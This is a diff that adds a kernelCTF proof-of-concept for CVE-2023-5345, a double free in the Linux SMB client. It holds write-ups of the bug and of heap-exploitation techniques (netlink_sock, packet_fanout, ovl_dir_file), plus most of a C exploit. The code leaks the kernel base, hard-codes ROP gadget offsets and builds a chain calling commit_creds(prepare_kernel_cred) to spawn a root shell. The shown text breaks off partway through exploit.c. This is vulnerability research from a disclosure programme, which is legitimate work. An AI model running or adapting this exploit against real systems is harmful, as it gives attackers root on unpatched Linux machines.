diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/docs/novel-techniques.md new file mode 100644 index 00000000..a1d6436d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/docs/novel-techniques.md @@ -0,0 +1,105 @@ +# Exploitation technique + +To my knowledge, the following exploitation techniques are not known/publicly-documented: + +## Leverage `struct netlink_sock` to get arbitrarily read/write primitive +- This technique is used in mitigation exploit. + +### Advantages +- Do not need to setup network user namespace. +- Can read large bytes from specify address. +- Live in less noisy heap. Therefore, free the current fake `struct netlink_sock` object and reclaim with new address to read from or write to is very stable. +- Can be used to perform data only attack. + +### Disadvantages +- Cannot read from invalid memory address. +- Can only write 4 bytes per fake `struct netlink_sock` object. +- Only allocate on kmalloc-2048 (dyn-kmalloc-2048 in mitigation instace). +- In case Apparmor is enabled, `sk-security` need to be valid pointer. + +## Leverage `struct packet_fanout` to get arbitrarily free primitive +- This technique is used in mitigation exploit. + +### Advantages +- Can be allocate on kmalloc-256 -> kmalloc-8192 (dyn-kmalloc-256 -> dyn-kmalloc-8192 in mitigation instance). + +### Disadvantages +- Require CAP_NET_RAW to create packet socket. +- Need to setup data look like `struct packet_fanout` object in the free location. Let's call this location: A1. +- Need to control at least one `struct packet_fanout` object linked list. This fake linked list will be used to reach A1. + +## Overlap `struct user_key_payload` object with `struct packet_fanout` object +- This technique is used in mitigation exploit. + +```c +struct packet_fanout { + possible_net_t net; + unsigned int num_members; + u32 max_num_members; + u16 id; + u8 type; + u8 flags; + union { + atomic_t rr_cur; + struct bpf_prog __rcu *bpf_prog; + }; + struct list_head list; + spinlock_t lock; + refcount_t sk_ref; + struct packet_type prot_hook ____cacheline_aligned_in_smp; + struct sock __rcu *arr[]; +}; +``` + +```c +struct packet_type { + __be16 type; /* This is really htons(ether_type). */ + bool ignore_outgoing; + struct net_device *dev; /* NULL is wildcarded here */ + netdevice_tracker dev_tracker; + int (*func) (struct sk_buff *, + struct net_device *, + struct packet_type *, + struct net_device *); + void (*list_func) (struct list_head *, + struct packet_type *, + struct net_device *); + bool (*id_match)(struct packet_type *ptype, + struct sock *sk); + struct net *af_packet_net; + void *af_packet_priv; + struct list_head list; +}; +``` + +```c +static LIST_HEAD(fanout_list); +``` + +- Let's call the overlapped `struct packet_fanout`: pf. + +### Advantages +- Can be overlapped in kmalloc-256 -> kmalloc-8192 (dyn-kmalloc-256 -> dyn-kmalloc-8192 in mitigation instace). +- Read "in object" heap only. This make the leak 100% success. Especially useful on mitigation instance where reading out-of-slab data lead to kernel crash. +- Each new allocated `struct packet_fanout` is inserted at the head of `fanout_list`. Therefore, read `pf->list.prev` will allow to leak heap address from kmalloc-256 -> kmalloc-8192 (dyn-kmalloc-256 -> dyn-kmalloc-8192 in mitigation instance). +- Read `pf->prot_hook.func` will give us address of `packet_rcv_fanout` kernel function. This can be used to calculate kernel base. +- Read `pf->prot_hook.id_match` will give us address of `match_fanout_group` kernel function. This can be used to calculate kernel base. +- Read `pf->prot_hook.af_packet_priv` will give us address of our overlapped `struct packet_fanout` object that we are currenly using. +- Read `pf->prot_hook.af_packet_net` will give us address of current `net` namespace. + +### Disadvantages +- Require CAP_NET_RAW to create packet socket. +- Require specific primitive to make the overlap happen. + +## Leverage `struct ovl_dir_file` to get code execution +- This technique is used in LTS instance. + +### Advantages +- Need to control only `is_real` field and `realfile` field. +- When trigger code execution through lseek, RBP register set to `offset` value passed into lseek. Usually, we can find gadget like: `mov rsp, rbp; pop rbp; ret`. + +### Disadvantages +- Require CAP_SYS_ADMIN to mount overlayfs. +- Allocate only on kmalloc-64. +- Need a place to store fake `struct file_operations` object with `lseek` pointer set to gadget address +- Need a place to store fake `struct file` object with `f_op` pointer set to fake `struct file` object. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/docs/vulnerability.md new file mode 100644 index 00000000..35fa26f3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/docs/vulnerability.md @@ -0,0 +1,27 @@ +# Vulnerability + +A double-free vulnerability was found in the Linux kernel's SMBFS subsystem (`fs/smb/client/fs_context.c`). Forget to reset pointer to NULL after kfree_sensitive makes it possible to trigger the free again on the same pointer. + +## Requirements to trigger the vulnerability: +- Capabilities: To trigger the vulnerability, `CAP_SYS_ADMIN` capability is required to use fsopen syscall. +- Kernel configuration: `CONFIG_SMBFS` is required to trigger this vulnerability. +- Are user namespaces needed?: Yes. As this vulnerability requires `CAP_SYS_ADMIN`, which is not usually given to the normal user, we used the unprivileged user namespace to achieve this capability. + +## Commit which introduced the vulnerability +- This vulnerability was introduced in Linux v6.0.16, with commit [a4e430c8c8ba96be8c6ec4f2eb108bb8bcbee069](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a4e430c8c8ba96be8c6ec4f2eb108bb8bcbee069) +- This commit replaced `kfree` with `kfree_sensitive`. + +## Commit which fixed the vulnerability +- This vulnerability was fixed with commit [e6e43b8aa7cd3c3af686caf0c2e11819a886d705](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6e43b8aa7cd3c3af686caf0c2e11819a886d705) + +## Affected kernel versions +- Linux version 6.0.16 - 6.5.5 affects to this vulnerability + +## Affected component, subsystem +- fs/smb/client + +## Cause (UAF, BoF, race condition, double free, refcount overflow, etc) +- Double-free + +## Which syscalls or syscall parameters are needed to be blocked to prevent triggering the vulnerability? (If there is any easy way to block it.) +- Block fsopen syscall with `smb3` in `_fs_name` parameter. diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/Makefile b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/Makefile new file mode 100644 index 00000000..fbc951d9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/Makefile @@ -0,0 +1,11 @@ +exploit: + gcc -static exploit.c -o exploit -lkeyutils + +prerequisites: + sudo apt-get install libkeyutils-dev + +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit new file mode 100644 index 00000000..8cba3093 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.c b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.c new file mode 100644 index 00000000..091ea638 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.c @@ -0,0 +1,918 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TMPFS_MOUNT_POINT "/tmp/tmpfs_mountpoint" +#define OVERLAYFS_MOUNT_POINT "/tmp/overlayfs_mountpoint" +#define OVERLAYFS_LOWER_DIR_1 "/tmp/overlayfs_lower_dir_1" +#define OVERLAYFS_LOWER_DIR_2 "/tmp/overlayfs_lower_dir_2" + +#define USER_KEY_PAYLOAD_STRUCT_SIZE 24 +#define USER_KEY_PAYLOAD_BUFFER_MAX 0xFFFF +#define SIMPLE_XATTR_STRUCT_SIZE 32 +#define OVL_DIR_FILE_STRUCT_SIZE 40 + +#define DRAIN_KMALLOC_32_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_32" +#define DRAIN_KMALLOC_64_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_64" +#define DRAIN_KMALLOC_96_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_96" +#define DRAIN_KMALLOC_8192_FILE_PATH "/tmp/tmpfs_mountpoint/drain_kmalloc_8192" + +#define SHMEM_VM_OPS_LAST_20_BITS 0x18600 +#define SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE 0x1a18600 +#define STRUCT_FILE_F_MODE_OFFSET 0x44 +#define STRUCT_FILE_F_OP_OFFSET 0x28 +#define STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET 0x8 +#define TASK_STRUCT_NSPROXY_OFFSET 0x838 +#define TASK_STRUCT_FS_OFFSET 0x828 +uint64_t init_task = 0x2615a40; +uint64_t init_fs = 0x27b3de0; +uint64_t find_task_by_vpid = 0x1b64f0; +uint64_t prepare_kernel_cred = 0x1bfea0; +uint64_t commit_creds = 0x1bfc00; +uint64_t swapgs_restore_regs_and_return_to_usermode_nopop = 0x1201146; +uint64_t mov_rsp_rbp_pop_rbp_ret = 0x12de6c; +uint64_t pop_rdi_ret = 0xa61d8; +uint64_t pop_rsi_ret = 0x9b676; +uint64_t mov_rdi_rax_rep_ret = 0x117b93b; +uint64_t pop_rcx_ret = 0x37f1b3; +uint64_t mov_qword_ptr_rax_rsi_ret = 0x1e8ab3; +uint64_t add_rax_rcx_ret = 0xb13ccd; + +/* +#define SHMEM_VM_OPS_LAST_20_BITS 0x188c0 +#define SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE 0x1a188c0 +#define STRUCT_FILE_F_MODE_OFFSET 0x44 +#define STRUCT_FILE_F_OP_OFFSET 0x28 +#define STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET 0x8 +#define TASK_STRUCT_NSPROXY_OFFSET 0x838 +#define TASK_STRUCT_FS_OFFSET 0x828 + +uint64_t init_task = 0x2615a40; +uint64_t init_fs = 0x27b3d60; +uint64_t find_task_by_vpid = 0x1b64a0; +uint64_t prepare_kernel_cred = 0x1bfe50; +uint64_t commit_creds = 0x1bfbb0; +uint64_t swapgs_restore_regs_and_return_to_usermode_nopop = 0x1201146; +uint64_t mov_rsp_rbp_pop_rbp_ret = 0x12de6c; +uint64_t pop_rdi_ret = 0x12df00; +uint64_t pop_rsi_ret = 0x52e43e; +uint64_t pop_rcx_ret = 0x203fab; +uint64_t mov_rdi_rax_rep_ret = 0x117c93b; +uint64_t mov_qword_ptr_rax_rsi_ret = 0x1e8a63; +uint64_t add_rax_rcx_ret = 0xb148bd; +*/ + +#define FMODE_LSEEK 0x4 + +#define KMALLOC_32 32 +#define KMALLOC_64 64 +#define KMALLOC_96 96 +#define KMALLOC_8192 8192 + +uint64_t user_cs, user_ss, user_rsp, user_rflags; + +uint64_t kernel_base; +uint64_t shmem_vm_ops; +uint64_t rop_chain_addr; + +key_serial_t read_kmalloc_32_key; +key_serial_t read_kmalloc_96_key; +int trigger_code_execution_fd; + +struct ovl_dir_file { + uint8_t is_real; + uint8_t is_upper; + uint64_t cache; + uint64_t cursor; + uint64_t realfile; + uint64_t upperfile; +}; + +struct list_head { + uint64_t next; + uint64_t prev; +}; + +struct simple_xattr { + struct list_head list; + uint64_t name; + uint64_t size; + char value[]; +}; + +struct simple_xattr_attribute { + char *path; + char *name; + char *payload; + int size; +}; + +struct simple_xattr_manager { + int max; + int len; + struct simple_xattr_attribute **attrs; +}; + +struct simple_xattr_leak_result { + struct simple_xattr_attribute **attrs; + int cnt; + int live_on_heap; + key_serial_t key_to_read; + int size_to_read; + int *offsets_to_leak; +}; + +void save_state(void) +{ + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_rsp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +void win(void) +{ + char *sh_args[] = {"sh", NULL}; + execve("/bin/sh", sh_args, NULL); +} + +void hexdump(void *data, int n) +{ + for (int i = 0; i < n; i += 8) + printf("0x%016lx\n", *(uint64_t*)(data + i)); +} + +void *skip_user_key_payload(void *leak_buffer, int kmalloc_size) +{ + return leak_buffer + kmalloc_size - USER_KEY_PAYLOAD_STRUCT_SIZE; +} + +bool create_file(const char *path) +{ + int fd = open(path, O_WRONLY | O_CREAT, 0644); + if (fd < 0) { + fprintf(stderr, "create file %s failed: %s\n", path, strerror(errno)); + return false; + } + + close(fd); + return true; +} + +struct simple_xattr_manager *simple_xattr_manager_alloc(int n) +{ + struct simple_xattr_manager *m = malloc(sizeof(*m)); + if (!m) { + perror("malloc simple_xattr_manager"); + return NULL; + } + + m->len = 0; + m->max = n; + m->attrs = calloc(n, sizeof(struct simple_xattr_attribute*)); + if (!m->attrs) { + perror("calloc attrs storage"); + free(m); + return NULL; + } + + return m; +} + +struct simple_xattr_attribute *simple_xattr_attribute_alloc( + const char *path, + const char *name, + const char *payload, + int size) +{ + struct simple_xattr_attribute *attr = malloc(sizeof(*attr)); + if (!attr) { + fprintf(stderr, "malloc attr"); + return NULL; + } + + attr->path = strdup(path); + if (!attr->path) { + fprintf(stderr, "strdup(%s): %s\n", path, strerror(errno)); + goto err; + } + + attr->name = strdup(name); + if (!attr->name) { + fprintf(stderr, "strdup(%s): %s\n", name, strerror(errno)); + goto err1; + } + + attr->payload = malloc(size); + if (!attr->payload) { + perror("malloc payload"); + goto err2; + } + + attr->size = size; + memcpy(attr->payload, payload, size); + return attr; + +err2: + free(attr->name); +err1: + free(attr->path); +err: + free(attr); + return NULL; +} + +bool simple_xattr_manager_append( + struct simple_xattr_manager *m, + const char *path, + const char *name, + const char *payload, + int size) +{ + if (m->len >= m->max) + return false; + + if (!create_file(path)) + return false; + + struct simple_xattr_attribute *attr = simple_xattr_attribute_alloc(path, name, payload, size); + if (!attr) + return false; + + m->attrs[m->len++] = attr; + return true; +} + +bool simple_xattr_manager_set(struct simple_xattr_manager *m) +{ + for (int i = 0; i < m->len; i++) { + if (setxattr(m->attrs[i]->path, m->attrs[i]->name, m->attrs[i]->payload, m->attrs[i]->size, 0) < 0) { + perror("setxattr"); + return false; + } + } + + return true; +} + +int simple_xattr_manager_lookup(struct simple_xattr_manager *m, struct simple_xattr *xattr) +{ + for (int i = 0; i < m->len; i++) + if (m->attrs[i]->size == xattr->size && + memcmp(m->attrs[i]->payload, xattr->value, xattr->size) == 0) + return i; + + return -1; +} + +bool drain_kmalloc_32(int n) +{ + static bool first_time = true; + static int obj_cnt = 0; + + if (first_time) { + if (!create_file(DRAIN_KMALLOC_32_FILE_PATH)) + return false; + + first_time = false; + } + + char payload[32] = {}; + char name[512] = {}; + + for (int i = 0; i < n; i++) { + snprintf(name, sizeof(name), "security.A%d", obj_cnt); + if (setxattr(DRAIN_KMALLOC_32_FILE_PATH, name, payload, 0, 0) < 0) { + fprintf(stderr, "setxattr(kmalloc_32) failed: %s\n", strerror(errno)); + return false; + } + + obj_cnt++; + } + + return true; +} + +bool drain_kmalloc_64(int n) +{ + static bool first_time = true; + static int obj_cnt = 0; + + if (first_time) { + if (!create_file(DRAIN_KMALLOC_64_FILE_PATH)) + return false; + + first_time = false; + } + + char payload[64] = {}; + char name[512] = {}; + + for (int i = 0; i < n; i++) { + snprintf(name, sizeof(name), "security.A%d", obj_cnt); + if (setxattr(DRAIN_KMALLOC_64_FILE_PATH, name, payload, 32, 0) < 0) { + fprintf(stderr, "setxattr(kmalloc_64) failed: %s\n", strerror(errno)); + return false; + } + + obj_cnt++; + } + + return true; +} + +bool drain_kmalloc_96(int n) +{ + static bool first_time = true; + static int obj_cnt = 0; + + if (first_time) { + if (!create_file(DRAIN_KMALLOC_96_FILE_PATH)) + return false; + + first_time = false; + } + + char payload[96] = {}; + char name[512] = {}; + + for (int i = 0; i < n; i++) { + snprintf(name, sizeof(name), "security.A%d", obj_cnt); + if (setxattr(DRAIN_KMALLOC_96_FILE_PATH, name, payload, 64, 0) < 0) { + fprintf(stderr, "setxattr(kmalloc_96) failed: %s\n", strerror(errno)); + return false; + } + + obj_cnt++; + } + + return true; +} + +bool drain_kmalloc_8192(int n) +{ + static bool first_time = true; + static int obj_cnt = 0; + + if (first_time) { + if (!create_file(DRAIN_KMALLOC_8192_FILE_PATH)) + return false; + + first_time = false; + } + + char payload[8192] = {}; + char name[512] = {}; + + for (int i = 0; i < n; i++) { + snprintf(name, sizeof(name), "security.A%d", obj_cnt); + if (setxattr(DRAIN_KMALLOC_8192_FILE_PATH, name, payload, 4096, 0) < 0) { + fprintf(stderr, "setxattr(kmalloc_8192) failed: %s\n", strerror(errno)); + return false; + } + + obj_cnt++; + } + + return true; +} + +int *prepare_shm_file_data_alloc(int n) +{ + int *shmids = malloc(n * sizeof(*shmids)); + if (!shmids) { + perror("malloc"); + return NULL; + } + + for (int i = 0; i < n; i++) { + shmids[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT); + if (shmids[i] < 0) { + perror("shmget"); + for (int j = i - 1; j >= 0; j--) + shmctl(shmids[j], IPC_RMID, NULL); + + free(shmids); + return NULL; + } + } + + return shmids; +} + +bool shm_file_data_alloc(int *shmids, int n) +{ + for (int i = 0; i < n; i++) { + if (!shmat(shmids[i], NULL, 0)) { + perror("shmat"); + return false; + } + } + + return true; +} + +bool shm_file_data_free(int *shmids, int n) +{ + for (int i = 0; i < n; i++) { + if (shmctl(shmids[i], IPC_RMID, NULL) < 0) { + perror("shmctl"); + return false; + } + } + + free(shmids); + return true; +} + +key_serial_t user_key_payload_alloc(const char *desc, void *data, int n) +{ + key_serial_t key = add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING); + if (key < 0) { + perror("add_key"); + return -1; + } + + return key; +} + +long user_key_payload_read(key_serial_t key, void *buf, int n) +{ + long ret = keyctl_read(key, buf, n); + if (ret < 0) { + perror("keyctl_read"); + return -1; + } + + return ret; +} + +int ovl_dir_file_alloc(void) +{ + int fd = open(OVERLAYFS_MOUNT_POINT, O_RDONLY); + if (fd < 0) { + fprintf(stderr, "open %s failed: %s\n", OVERLAYFS_MOUNT_POINT, strerror(errno)); + return -1; + } + + return fd; +} + +void ovl_dir_file_free(int fd) +{ + close(fd); +} + +static inline void get_full_timesplice(void) +{ + sched_yield(); +} + +bool pin_on_cpu(int core_id) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) { + fprintf(stderr, "pin_on_cpu failed: %s\n", strerror(errno)); + return false; + } + + return true; +} + +bool write_to_file(const char *path, const char *data_fmt, ...) +{ + char *buf = NULL; + va_list args; + va_start(args, data_fmt); + if (vasprintf(&buf, data_fmt, args) < 0) { + perror("vasprintf"); + return false; + } + + va_end(args); + int fd = open(path, O_WRONLY); + if (fd < 0) { + fprintf(stderr, "open %s for writing: %s\n", path, strerror(errno)); + free(buf); + return false; + } + + write(fd, buf, strlen(buf)); + close(fd); + free(buf); + return true; +} + +bool setup_namespace(void) +{ + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC) < 0) { + perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)"); + return false; + } + + if (!write_to_file("/proc/self/setgroups", "deny")) + return false; + + if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) + return false; + + if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) + return false; + + mkdir(TMPFS_MOUNT_POINT, 0644); + if (mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL) < 0) { + fprintf(stderr, "mount %s(type: tmpfs): %s\n", TMPFS_MOUNT_POINT, strerror(errno)); + return false; + } + + mkdir(OVERLAYFS_MOUNT_POINT, 0644); + mkdir(OVERLAYFS_LOWER_DIR_1, 0644); + mkdir(OVERLAYFS_LOWER_DIR_2, 0644); + + char overlayfs_mount_options[512]; + snprintf(overlayfs_mount_options, sizeof(overlayfs_mount_options), "lowerdir=%s:%s", + OVERLAYFS_LOWER_DIR_1, OVERLAYFS_LOWER_DIR_2); + + if (mount("overlay", OVERLAYFS_MOUNT_POINT, "overlay", 0, overlayfs_mount_options) < 0) { + fprintf(stderr, "mount %s(type: overlayfs): %s\n", OVERLAYFS_MOUNT_POINT, strerror(errno)); + return false; + } + + return true; +} + +int prepare_double_free(int kmalloc_size) +{ + if (kmalloc_size <= 0 || kmalloc_size > 256) + return -1; + + int fsfd = syscall(SYS_fsopen, "smb3", 0); + if (fsfd < 0) { + fprintf(stderr, "fsopen(smb3) failed: %s\n", strerror(errno)); + return -1; + } + + char password[256]; + memset(password, 0x1, kmalloc_size - 1); + password[kmalloc_size-1] = 0; + if (syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0) < 0) { + perror("fsconfig(FSCONFIG_SET_STRING)"); + close(fsfd); + return -1; + } + + return fsfd; +} + +static inline void trigger_first_free(int fsfd) +{ + syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0); +} + +static inline void trigger_second_free(int fsfd) +{ + close(fsfd); +} + +uint64_t search_shmem_vm_ops(uint64_t *leak_data, int n) +{ + for (int i = 0; i < n; i++) + if ((leak_data[i] & 0x0FFFFF) == SHMEM_VM_OPS_LAST_20_BITS && (leak_data[i] >> 32) == 0xffffffff) + return leak_data[i]; + + return 0; +} + +uint64_t leak_kernel_base(void) +{ + long sz; + int *shmids = prepare_shm_file_data_alloc(256); + int df_fsfd = -1; + char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX]; + bool found_shmem_vm_ops = false; + + while (!found_shmem_vm_ops) { + if (!drain_kmalloc_32(512)) + return 0; + + df_fsfd = prepare_double_free(KMALLOC_32); + if (df_fsfd < 0) + return 0; + + get_full_timesplice(); + trigger_first_free(df_fsfd); + read_kmalloc_32_key = user_key_payload_alloc("key32", "A", 1); + if (read_kmalloc_32_key < 0) + return 0; + + get_full_timesplice(); + trigger_second_free(df_fsfd); + if (!shm_file_data_alloc(shmids, 256)) + return 0; + + if ((sz = user_key_payload_read(read_kmalloc_32_key, leak_buffer, sizeof(leak_buffer))) < 0) + return 0; + + shmem_vm_ops = search_shmem_vm_ops((uint64_t*)leak_buffer, sz / sizeof(uint64_t)); + if (shmem_vm_ops != 0) { + found_shmem_vm_ops = true; + } else { + if (!shm_file_data_free(shmids, 256)) + return 0; + } + } + + return shmem_vm_ops - SHMEM_VM_OPS_OFFSET_FROM_KERNEL_BASE; +} + +bool is_data_look_like_simple_xattr( + struct simple_xattr *xattr, + int kmalloc_size, + char *pattern, + int pattern_size) +{ + if ((xattr->list.next >> 48) == 0xFFFF && (xattr->list.prev >> 48) == 0xFFFF && + (xattr->name >> 48) == 0xFFFF && xattr->size == kmalloc_size && + memcmp(xattr->value, pattern, pattern_size) == 0) + return true; + + return false; +} + +void dump_simple_xattr(struct simple_xattr *xattr) +{ + printf("next: 0x%016lx\n", xattr->list.next); + printf("prev: 0x%016lx\n", xattr->list.prev); + printf("name: 0x%016lx\n", xattr->name); + printf("size: %lu\n", xattr->size); + printf("value: %s\n", xattr->value); +} + +struct simple_xattr_leak_result *leak_simple_xattr_on_kmalloc_96(void) +{ + int kmalloc96_obj_cnt = 0; + struct simple_xattr_manager *m = NULL; + int df_fsfd = -1; + bool found_simple_xattr = false; + char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX]; + long leak_size = 0; + char pattern[] = "simple_xattr_kmalloc_96"; + int payload_size = 96 - SIMPLE_XATTR_STRUCT_SIZE; + struct simple_xattr_leak_result *leak_simple_xattrs = NULL; + + while (!found_simple_xattr) { + if (!drain_kmalloc_96(128)) + return 0; + + m = simple_xattr_manager_alloc(256); + if (!m) + return 0; + + for (int i = 0; i < 256; i++) { + char path[512]; + snprintf(path, sizeof(path), "%s/%s_%d", TMPFS_MOUNT_POINT, "live_on_kmalloc_96", kmalloc96_obj_cnt); + char name[512]; + snprintf(name, sizeof(name), "security.kmalloc96_%d", kmalloc96_obj_cnt); + char payload[96]; + snprintf(payload, sizeof(payload), "%s_%d", pattern, kmalloc96_obj_cnt); + if (!simple_xattr_manager_append(m, path, name, payload, payload_size)) + return 0; + kmalloc96_obj_cnt++; + } + + df_fsfd = prepare_double_free(KMALLOC_96); + if (df_fsfd < 0) + return 0; + + get_full_timesplice(); + trigger_first_free(df_fsfd); + char tmp[41] = {}; + read_kmalloc_96_key = user_key_payload_alloc("key96", tmp, 41); + if (read_kmalloc_96_key < 0) + return 0; + + get_full_timesplice(); + trigger_second_free(df_fsfd); + + if (!simple_xattr_manager_set(m)) + return 0; + + if ((leak_size = user_key_payload_read(read_kmalloc_96_key, leak_buffer, sizeof(leak_buffer))) < 0) + return 0; + + leak_simple_xattrs = malloc(sizeof(*leak_simple_xattrs)); + leak_simple_xattrs->attrs = calloc(m->len, sizeof(struct simple_xattr_attribute *)); + leak_simple_xattrs->live_on_heap = KMALLOC_96; + leak_simple_xattrs->offsets_to_leak = calloc(m->len, sizeof(int)); + leak_simple_xattrs->key_to_read = read_kmalloc_96_key; + leak_simple_xattrs->cnt = 0; + leak_simple_xattrs->size_to_read = leak_size; + + void *scan = skip_user_key_payload(leak_buffer, KMALLOC_96); + for (int i = 0; i < leak_size - USER_KEY_PAYLOAD_STRUCT_SIZE; i += SIMPLE_XATTR_STRUCT_SIZE) { + struct simple_xattr *xattr = scan + i; + if (is_data_look_like_simple_xattr(xattr, payload_size, pattern, strlen(pattern))) { + //dump_simple_xattr(xattr); + int x = simple_xattr_manager_lookup(m, xattr); + if (x >= 0) { + leak_simple_xattrs->attrs[leak_simple_xattrs->cnt] = m->attrs[x]; + leak_simple_xattrs->offsets_to_leak[leak_simple_xattrs->cnt] = i; + leak_simple_xattrs->cnt++; + if (leak_simple_xattrs->cnt >= 2) + found_simple_xattr = true; + } + } + } + } + + return leak_simple_xattrs; +} + +uint64_t prepare_rop_chain_and_fops_table(struct simple_xattr_leak_result *r) +{ + uint8_t buf[8192] = {}; + uint64_t *lseek = (uint64_t*)(&buf[0]); + *lseek = mov_rsp_rbp_pop_rbp_ret; // lseek + + uint64_t *rop = (uint64_t*)(&buf[2048]); + int idx = 0; + rop[idx++] = 0; + rop[idx++] = pop_rdi_ret; + rop[idx++] = init_task; + rop[idx++] = prepare_kernel_cred; + rop[idx++] = pop_rcx_ret; + rop[idx++] = 0; + rop[idx++] = mov_rdi_rax_rep_ret; + rop[idx++] = commit_creds; + + rop[idx++] = pop_rdi_ret; + rop[idx++] = getpid(); + rop[idx++] = find_task_by_vpid; + rop[idx++] = pop_rcx_ret; + rop[idx++] = TASK_STRUCT_FS_OFFSET; + rop[idx++] = add_rax_rcx_ret; + rop[idx++] = pop_rsi_ret; + rop[idx++] = init_fs; + rop[idx++] = mov_qword_ptr_rax_rsi_ret; + + rop[idx++] = swapgs_restore_regs_and_return_to_usermode_nopop; + rop[idx++] = 0; // dummy + rop[idx++] = 0; // dummy + rop[idx++] = (uint64_t)win; + rop[idx++] = user_cs; + rop[idx++] = user_rflags; + rop[idx++] = user_rsp & 0xffffffffffffff00; + rop[idx++] = user_ss; + + if (setxattr(r->attrs[0]->path, "security.lseek_rop", buf, KMALLOC_8192 - SIMPLE_XATTR_STRUCT_SIZE, 0) < 0) { + perror("setxattr"); + return 0; + } + + char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX]; + user_key_payload_read(r->key_to_read, leak_buffer, r->size_to_read); + void *scan = skip_user_key_payload(leak_buffer, r->live_on_heap); + + struct simple_xattr *xattr = scan + r->offsets_to_leak[0]; + return xattr->list.prev; +} + +bool prepare_code_execution(struct simple_xattr_leak_result *r, uint64_t fops) +{ + uint8_t buf[8192] = {}; + char leak_buffer[USER_KEY_PAYLOAD_BUFFER_MAX]; + bool address_have_null_byte = true; + uint64_t fake_file_addr = 0; + + *(uint8_t*)(buf + STRUCT_FILE_F_MODE_OFFSET) = FMODE_LSEEK; + *(uint64_t*)(buf + STRUCT_FILE_F_OP_OFFSET) = fops; + + while (address_have_null_byte) { + if (setxattr(r->attrs[1]->path, "security.fake_file", buf, + KMALLOC_8192 - SIMPLE_XATTR_STRUCT_SIZE, 0) < 0) { + perror("setxattr"); + return false; + } + + user_key_payload_read(r->key_to_read, leak_buffer, r->size_to_read); + void *scan = skip_user_key_payload(leak_buffer, r->live_on_heap); + + struct simple_xattr *xattr = scan + r->offsets_to_leak[1]; + fake_file_addr = xattr->list.prev + SIMPLE_XATTR_STRUCT_SIZE; + bool found_good_address = true; + uint8_t *p8 = (uint8_t*)&fake_file_addr; + for (int i = 0; i < sizeof(uint64_t); i++) + if (p8[i] == 0) + found_good_address = false; + + if (!found_good_address) { + if (removexattr(r->attrs[1]->path, "security.fake_file") < 0) { + perror("removexattr(security.fake_file)"); + return false; + } + + if (!drain_kmalloc_8192(4)) + return false; + } else { + address_have_null_byte = false; + } + } + + int df_fsfd = prepare_double_free(KMALLOC_64); + if (df_fsfd < 0) + return false; + + get_full_timesplice(); + trigger_first_free(df_fsfd); + int ovl_fd = ovl_dir_file_alloc(); + if (ovl_fd < 0) + return false; + + if (lseek(ovl_fd, 1234, SEEK_SET) < 0) { // bypass the check if (!file->f_pos) + perror("lseek"); + return false; + } + + int overwrite_ovl_dir_file_fsfds[2]; + for (int i = 0; i < 2; i++) { + overwrite_ovl_dir_file_fsfds[i] = syscall(SYS_fsopen, "ramfs", 0); + if (overwrite_ovl_dir_file_fsfds[i] < 0) + return false; + } + + char overwrite_buf[256]; + memset(overwrite_buf, 0xFF, sizeof(overwrite_buf)); + + struct ovl_dir_file *od = (struct ovl_dir_file*)overwrite_buf; + od->realfile = fake_file_addr; + overwrite_buf[sizeof(struct ovl_dir_file)] = 0; + + get_full_timesplice(); + trigger_second_free(df_fsfd); + for (int i = 0; i < 2; i++) + syscall(SYS_fsconfig, 